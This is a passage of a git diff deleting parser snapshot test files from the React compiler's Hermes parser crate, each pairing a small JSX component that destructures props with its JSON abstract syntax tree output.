-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "n",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      184,
-                      185
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    184,
-                    185
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "o",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      187,
-                      188
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "o",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      187,
-                      188
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    187,
-                    188
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                176,
-                190
-              ]
-            },
-            "loc": null,
-            "range": [
-              169,
-              191
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          193
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        193
-      ],
-      "loc": null,
-      "range": [
-        0,
-        193
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    193
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-mixed-scope-and-local-variables-with-default.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-mixed-scope-and-local-variables-with-default.js.snap
deleted file mode 100644
index addf5524cfeb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-mixed-scope-and-local-variables-with-default.js.snap
+++ /dev/null
@@ -1,816 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructuring-mixed-scope-and-local-variables-with-default.js
----
-Input:
-function Component(props) {
-  const post = useFragment(graphql`...`, props.post);
-  const allUrls = [];
-  // `media` and `urls` are exported from the scope that will wrap this code,
-  // but `comments` is not (it doesn't need to be memoized, bc the callback
-  // only checks `comments.length`)
-  // because of the scope, the let declaration for media and urls are lifted
-  // out of the scope, and the destructure statement ends up turning into
-  // a reassignment, instead of a const declaration. this means we try to
-  // reassign `comments` when there's no declaration for it.
-  const { media = null, comments = [], urls = [] } = post;
-  const onClick = (e) => {
-    if (!comments.length) {
-      return;
-    }
-    console.log(comments.length);
-  };
-  allUrls.push(...urls);
-  return <Media media={media} onClick={onClick} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "post",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useFragment",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      54
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "TaggedTemplateExpression",
-                      "tag": {
-                        "type": "Identifier",
-                        "name": "graphql",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          55,
-                          62
-                        ]
-                      },
-                      "quasi": {
-                        "type": "TemplateLiteral",
-                        "quasis": [
-                          {
-                            "type": "TemplateElement",
-                            "tail": true,
-                            "value": {
-                              "cooked": "...",
-                              "raw": "..."
-                            },
-                            "loc": null,
-                            "range": [
-                              62,
-                              67
-                            ]
-                          }
-                        ],
-                        "expressions": [],
-                        "loc": null,
-                        "range": [
-                          62,
-                          67
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        55,
-                        67
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          69,
-                          74
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "post",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          79
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        69,
-                        79
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    43,
-                    80
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  80
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              81
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "allUrls",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    90,
-                    97
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    100,
-                    102
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  90,
-                  102
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              84,
-              103
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "media",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          590,
-                          595
-                        ]
-                      },
-                      "value": {
-                        "type": "AssignmentPattern",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "media",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            590,
-                            595
-                          ]
-                        },
-                        "right": {
-                          "type": "NullLiteral",
-                          "loc": null,
-                          "range": [
-                            598,
-                            602
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          590,
-                          602
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        590,
-                        602
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "comments",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          604,
-                          612
-                        ]
-                      },
-                      "value": {
-                        "type": "AssignmentPattern",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "comments",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            604,
-                            612
-                          ]
-                        },
-                        "right": {
-                          "type": "ArrayExpression",
-                          "elements": [],
-                          "loc": null,
-                          "range": [
-                            615,
-                            617
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          604,
-                          617
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        604,
-                        617
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "urls",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          619,
-                          623
-                        ]
-                      },
-                      "value": {
-                        "type": "AssignmentPattern",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "urls",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            619,
-                            623
-                          ]
-                        },
-                        "right": {
-                          "type": "ArrayExpression",
-                          "elements": [],
-                          "loc": null,
-                          "range": [
-                            626,
-                            628
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          619,
-                          628
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        619,
-                        628
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    588,
-                    630
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "post",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    633,
-                    637
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  588,
-                  637
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              582,
-              638
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onClick",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    647,
-                    654
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        658,
-                        659
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "IfStatement",
-                        "test": {
-                          "type": "UnaryExpression",
-                          "operator": "!",
-                          "prefix": true,
-                          "argument": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "comments",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                675,
-                                683
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "length",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                684,
-                                690
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              675,
-                              690
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            674,
-                            690
-                          ]
-                        },
-                        "consequent": {
-                          "type": "BlockStatement",
-                          "body": [
-                            {
-                              "type": "ReturnStatement",
-                              "argument": null,
-                              "loc": null,
-                              "range": [
-                                700,
-                                707
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            692,
-                            713
-                          ]
-                        },
-                        "alternate": null,
-                        "loc": null,
-                        "range": [
-                          670,
-                          713
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                718,
-                                725
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                726,
-                                729
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              718,
-                              729
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "comments",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  730,
-                                  738
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "length",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  739,
-                                  745
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                730,
-                                745
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            718,
-                            746
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          718,
-                          747
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      664,
-                      751
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    657,
-                    751
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    657,
-                    751
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  647,
-                  751
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              641,
-              752
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "allUrls",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    755,
-                    762
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    763,
-                    767
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  755,
-                  767
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "SpreadElement",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "urls",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      771,
-                      775
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    768,
-                    775
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                755,
-                776
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              755,
-              777
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Media",
-                  "loc": null,
-                  "range": [
-                    788,
-                    793
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "media",
-                      "loc": null,
-                      "range": [
-                        794,
-                        799
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "media",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          801,
-                          806
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        800,
-                        807
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      794,
-                      807
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onClick",
-                      "loc": null,
-                      "range": [
-                        808,
-                        815
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onClick",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          817,
-                          824
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        816,
-                        825
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      808,
-                      825
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  787,
-                  828
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                787,
-                828
-              ]
-            },
-            "loc": null,
-            "range": [
-              780,
-              829
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          831
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        831
-      ],
-      "loc": null,
-      "range": [
-        0,
-        831
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    831
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-mixed-scope-declarations-and-locals.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-mixed-scope-declarations-and-locals.js.snap
deleted file mode 100644
index 10b153fbe78d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-mixed-scope-declarations-and-locals.js.snap
+++ /dev/null
@@ -1,766 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructuring-mixed-scope-declarations-and-locals.js
----
-Input:
-function Component(props) {
-  const post = useFragment(graphql`...`, props.post);
-  const allUrls = [];
-  // `media` and `urls` are exported from the scope that will wrap this code,
-  // but `comments` is not (it doesn't need to be memoized, bc the callback
-  // only checks `comments.length`)
-  // because of the scope, the let declaration for media and urls are lifted
-  // out of the scope, and the destructure statement ends up turning into
-  // a reassignment, instead of a const declaration. this means we try to
-  // reassign `comments` when there's no declaration for it.
-  const { media, comments, urls } = post;
-  const onClick = (e) => {
-    if (!comments.length) {
-      return;
-    }
-    console.log(comments.length);
-  };
-  allUrls.push(...urls);
-  return <Media media={media} onClick={onClick} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "post",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useFragment",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      54
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "TaggedTemplateExpression",
-                      "tag": {
-                        "type": "Identifier",
-                        "name": "graphql",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          55,
-                          62
-                        ]
-                      },
-                      "quasi": {
-                        "type": "TemplateLiteral",
-                        "quasis": [
-                          {
-                            "type": "TemplateElement",
-                            "tail": true,
-                            "value": {
-                              "cooked": "...",
-                              "raw": "..."
-                            },
-                            "loc": null,
-                            "range": [
-                              62,
-                              67
-                            ]
-                          }
-                        ],
-                        "expressions": [],
-                        "loc": null,
-                        "range": [
-                          62,
-                          67
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        55,
-                        67
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          69,
-                          74
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "post",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          79
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        69,
-                        79
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    43,
-                    80
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  80
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              81
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "allUrls",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    90,
-                    97
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    100,
-                    102
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  90,
-                  102
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              84,
-              103
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "media",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          590,
-                          595
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "media",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          590,
-                          595
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        590,
-                        595
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "comments",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          597,
-                          605
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "comments",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          597,
-                          605
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        597,
-                        605
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "urls",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          607,
-                          611
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "urls",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          607,
-                          611
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        607,
-                        611
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    588,
-                    613
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "post",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    616,
-                    620
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  588,
-                  620
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              582,
-              621
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onClick",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    630,
-                    637
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        641,
-                        642
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "IfStatement",
-                        "test": {
-                          "type": "UnaryExpression",
-                          "operator": "!",
-                          "prefix": true,
-                          "argument": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "comments",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                658,
-                                666
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "length",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                667,
-                                673
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              658,
-                              673
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            657,
-                            673
-                          ]
-                        },
-                        "consequent": {
-                          "type": "BlockStatement",
-                          "body": [
-                            {
-                              "type": "ReturnStatement",
-                              "argument": null,
-                              "loc": null,
-                              "range": [
-                                683,
-                                690
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            675,
-                            696
-                          ]
-                        },
-                        "alternate": null,
-                        "loc": null,
-                        "range": [
-                          653,
-                          696
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                701,
-                                708
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                709,
-                                712
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              701,
-                              712
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "comments",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  713,
-                                  721
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "length",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  722,
-                                  728
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                713,
-                                728
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            701,
-                            729
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          701,
-                          730
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      647,
-                      734
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    640,
-                    734
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    640,
-                    734
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  630,
-                  734
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              624,
-              735
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "allUrls",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    738,
-                    745
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    746,
-                    750
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  738,
-                  750
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "SpreadElement",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "urls",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      754,
-                      758
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    751,
-                    758
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                738,
-                759
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              738,
-              760
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Media",
-                  "loc": null,
-                  "range": [
-                    771,
-                    776
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "media",
-                      "loc": null,
-                      "range": [
-                        777,
-                        782
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "media",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          784,
-                          789
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        783,
-                        790
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      777,
-                      790
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onClick",
-                      "loc": null,
-                      "range": [
-                        791,
-                        798
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onClick",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          800,
-                          807
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        799,
-                        808
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      791,
-                      808
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  770,
-                  811
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                770,
-                811
-              ]
-            },
-            "loc": null,
-            "range": [
-              763,
-              812
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          814
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        814
-      ],
-      "loc": null,
-      "range": [
-        0,
-        814
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    814
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-object-default.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-object-default.js.snap
deleted file mode 100644
index c2b7a7cffdec..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-object-default.js.snap
+++ /dev/null
@@ -1,260 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructuring-object-default.js
----
-Input:
-function Component(props) {
-  const { x: { y } = { y: "default" } } = props.y;
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
